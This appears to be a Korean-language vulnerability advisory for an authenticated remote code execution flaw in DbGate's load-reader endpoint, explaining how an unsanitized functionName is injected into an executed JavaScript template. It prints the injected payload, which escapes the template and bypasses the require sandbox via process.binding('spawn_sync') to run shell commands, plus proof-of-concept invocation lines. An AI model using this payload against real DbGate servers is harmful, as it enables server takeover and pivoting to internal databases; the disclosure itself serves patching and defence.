
DbGate의 loadReader 엔드포인트에서 functionName 주입을 통한 원격 코드 실행 — CVSS 8.8
functionName 주입을 통한 원격 코드 실행심각도: 높음 (CVSS 8.8)
CWE: CWE-94 — 코드 생성 제어 불량 ('코드 인젝션')
영향: dbgate-api ≤ 7.1.8 (7.1.9에서 패치됨)
권고: GHSA-hv83-ggc4-v385
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-48017
신고자: Romain Deperne
POST /runners/load-reader 엔드포인트는 functionName 매개변수를 받아 JavaScript 템플릿 문자열에 직접 삽입하여 포크된 프로세스에서 실행합니다. 살균이나 검증이 전혀 없습니다. 인증된 사용자(특별한 권한 불필요)는 의도된 호출을 벗어나 임의의 JavaScript를 실행하여 서버에서 원격 코드 실행을 달성할 수 있습니다.
포크된 러너는 샌드박스로 require = null을 설정하지만, 이는 쉽게 우회됩니다. process.binding("spawn_sync")는 여전히 접근 가능하며 실제 OS 프로세스를 생성합니다.
DbGate의 러너 서브시스템에서 보호된 경로와 보호되지 않은 코드 실행 경로 사이의 차이를 감사하고 있었습니다. runners.js:292의 start() 러너는 적절하게 게이트되어 있습니다. testStandardPermission('run-shell-script')를 호출하고 platformInfo.allowShellScripting을 확인합니다.
loadReader()는 개념적으로 유사한 작업(JS 로더 스크립트를 빌드하고 실행)을 수행하지만 이러한 검사가 전혀 없습니다. 데이터 흐름을 추적했습니다:
runners.js:353 loadReader({ functionName, props })
runners.js:366 loaderScriptTemplate(prefix, functionName, ...)
runners.js:64 `... ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
packageTools.ts:33 return `dbgateApi.${functionName}` // ← no sanitization
functionName은 공격자가 제어하며 실행되는 템플릿 문자열 안에 위치합니다. 앞에는 dbgateApi. 접두사만 있으며, 이는 이스케이프 가능합니다. toString();으로 표현식을 닫고, 페이로드를 주입한 후, 후행 (${props})를 //로 주석 처리하면 유효한 JS가 생성됩니다.
파일: packages/api/src/controllers/runners.js (loadReader → loaderScriptTemplate)
파일: packages/tools/src/packageTools.ts:33 (compileShellApiFunctionName)
// packageTools.ts:33 — functionName flows in unsanitized
return `dbgateApi.${functionName}`;
// runners.js:64 — interpolated into the executed loader template
`const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
생성된 (주입된) 스크립트:
const reader = await dbgateApi.toString();
process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id"], ... });
dbgateApi.toString//({});
compileShellApiFunctionName()은 짧은 이름을 완전한 API 경로(dbgateApi.<name>)로 변환하기 위해 작성되었으며, functionName이 식별자라고 암묵적으로 신뢰합니다. 그러나 값은 HTTP 요청 본문에서 직접 가져옵니다. 이후 eval/포크되는 소스에 연결되므로, 신뢰 가정은 RCE로 이어집니다. require = null 샌드박스는 도움이 되지 않습니다. Node 내부의 process.binding("spawn_sync")가 이를 우회합니다.
수정 (7.1.9): 로더 스크립트에 컴파일하기 전에 functionName을 엄격한 식별자 허용 목록에 대해 검증합니다.
poc/rce_loadreader_functionname_injection.py — 실제 엔드포인트를 end-to-end로 구동합니다.
# 기존 JWT 사용 시
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 <JWT> 'id > /tmp/pwned'
# 또는 먼저 로그인
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id'
스크립트는 functionName 페이로드를 구성하여 POST /runners/load-reader로 전송하며, 주입된 spawn_sync 호출이 포크된 러너 프로세스에서 명령을 실행합니다.
DbGate API 호스트에서 인증된 RCE. DbGate는 내부 데이터베이스에 광범위한 네트워크 접근이 가능하게 배포되는 데이터베이스 관리 GUI입니다. 여기서 코드 실행은 데이터 계층으로의 강력한 피벗입니다.
책임감 있게 공개됨. 수정 사항이 배포된 후 방어자와 탐지 엔지니어링을 위해 PoC 공개됨.